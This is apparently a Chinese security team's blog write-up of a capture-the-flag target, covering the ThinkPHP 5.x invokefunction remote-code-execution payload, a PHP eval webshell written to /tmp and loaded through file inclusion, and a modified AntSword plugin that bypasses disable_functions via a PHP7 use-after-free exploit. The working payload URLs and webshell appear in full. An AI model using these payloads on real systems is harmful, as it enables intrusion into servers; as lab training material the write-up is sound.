记一次魔改蚁剑bypass_disable_functions插件的打靶记录

admin 2023年11月13日13:29:20评论13 views字数 3765阅读12分33秒阅读模式
记一次魔改蚁剑bypass_disable_functions插件的打靶记录

点击蓝字 关注我们


解题过程

1

尝试通用payload

url:http://1.117.101.154:30080/
源码:http://1.117.101.154:30080/thinkphp_5.0.22_with_extend.zip

已知:记一次魔改蚁剑bypass_disable_functions插件的打靶记录

读phpinfo():
tk5.x通用payload:
?s=Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

得到disable_functions:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle
可利用命令执行函数(均被ban掉):
exec() x shell_exec() x 反引号` x passthru() x popen() x proc_open() x pcntl_exec() :需要开启pcntl扩展 x COM组件:Wscript.Shell和Shell.Application x dl():通过加载自定义php扩展突破 disable_fucnitons指令的限制 x利用PHP内核变量绕过disable_functions x
文件包含通用payload:
http://1.117.101.154:30080/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/tw.php&vars[1][]=%3C%3Fphp%20echo(%22hello%20hacker%22)%3B%40eval(%24_POST%5B'tw'%5D)%3B%3F%3E
这一次包含能够返回你写入的字符串长度

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

包含之后再次使用包含来读取上一次包含返回的内容
http://1.117.101.154:30080/?s=Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=think__include_file&vars[1][]=/tmp/tw.php

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

访问包含的webshell一句话木马,发现能够被解析,掏出antsword直接连:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

直接跳到根目录查看flag.flag文件

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

==flag: flag{FS_ROOT_49mAIg5AbsqbC7nP}==
正当我长舒一口气的时候看到一个getrceflag的可进行文件:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

进入终端执行看看:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

发现限制了根目录,这时候又看到了还有一个 hint:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

恭喜你成功RCE!现在你需要Bypass disable_function。

本环境可使用某种现成的bypass PoC,但是由于ban了某些函数,因此你需要自行对该PoC进行一些你力所能及的修改。
至于是哪种PoC,嘿嘿?

直接使用蚁剑bypass disable_functions插件,这里就需要魔改一下因为被ban的函数太多了:

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl,gc_collect_cycles,iconv,str_repeat,str_shuffle


2

插件验证

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

加载魔改后的插件和对应的exp,点击开始:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

跳转到root目录,执行getrceflag程序

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

获得第二个flag:==flag{RCE_2A7o4zrC2b9yviVp}==
这个靶场到这儿就结束啦!下面就是插件魔改的详细过程。

魔改插件

·被ban函数的位置以及确认exp

首先确认php版本,加载插件:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

php7.2,先大概锁定两个exp: PHP7 Backtrace UAF 和PHP7 GC with Certain Destructors UAF
正常点击开始并不能达到bypass的作用,再结合提示(hint)所说:
恭喜你成功RCE!
现在你需要Bypass disable_function。
本环境可使用某种现成的bypass PoC,但是由于ban了某些函数,因此你需要自行对该PoC进行一些你力所能及的修改。
至于是哪种PoC,嘿嘿?
查看被ban掉的函数,在蚁剑的插件源码(位于antDatapluginsas_bypass_php_disable_functions-masterpayload.js)中查找disable_function中函数:str_repeat,str_shuffle
为什么仅排查这2个函数,其实对Bypass disable_function有一定查阅的师傅肯定能发现这2个函数之前的函数都是disable_function很常见的函数。
PHP7_Backtrace_UAF_EXP源码中找到 
  • ==str_repeat==】

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

  • 【==str_shuffle==】

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

找到了被ban函数的位置和确认了exp,那么下一步就是如何魔改exp了。

·确认函数功能并手动实现

第一步先确认两个函数的功能:
  • str_repeat

#定义和用法str_repeat() 函数把字符串重复指定的次数。#语法str_repeat(string,repeat)#参数     描述string  必需。规定要重复的字符串。repeat  必需。规定字符串将被重复的次数。必须大于等于 0
  • str_shuffle:

#定义和用法str_shuffle() 函数随机打乱字符串中的所有字符。#语法str_shuffle(string)#参数    描述string  必需。规定要打乱的字符串。
确认了函数功能下面就是手动实现的过程了,str_repeat()就是一个循环就能替代,而str_shuffle()就是为了随机打乱str_repeat('A', 79)所生成的数,这里生成的为79个相同的A,打乱与否并不重要,所以str_shuffle()完全可以舍弃掉,那么接下啦就是手动实现str_repeat()的过程和结果啦:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

保存之后重启蚁剑(antsword),加载PHP7_Backtrace_UAF_EXP插件

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

绕过disable_function,exp利用成功。到此本文就结束啦!感谢各位师傅阅读!

END

撰稿 | T4Ki

编辑 | 绛烨

审核 | 千里 

最后为大家分享本次魔改的蚁剑文件:

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

邀请您加入东方隐侠的私域群,定期分享安全资讯,解答各类技术难题。

记一次魔改蚁剑bypass_disable_functions插件的打靶记录

关注东方隐侠安全团队 为安全界刮起一股侠客风

        东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应等网络安全知识,提供一流网络安全服务,敬请关注!

记一次魔改蚁剑bypass_disable_functions插件的打靶记录


公众号|东方隐侠安全实验室

原文始发于微信公众号(东方隐侠安全实验室):记一次魔改蚁剑bypass_disable_functions插件的打靶记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月13日13:29:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次魔改蚁剑bypass_disable_functions插件的打靶记录http://cn-sec.com/archives/2200773.html

发表评论

匿名网友 填写信息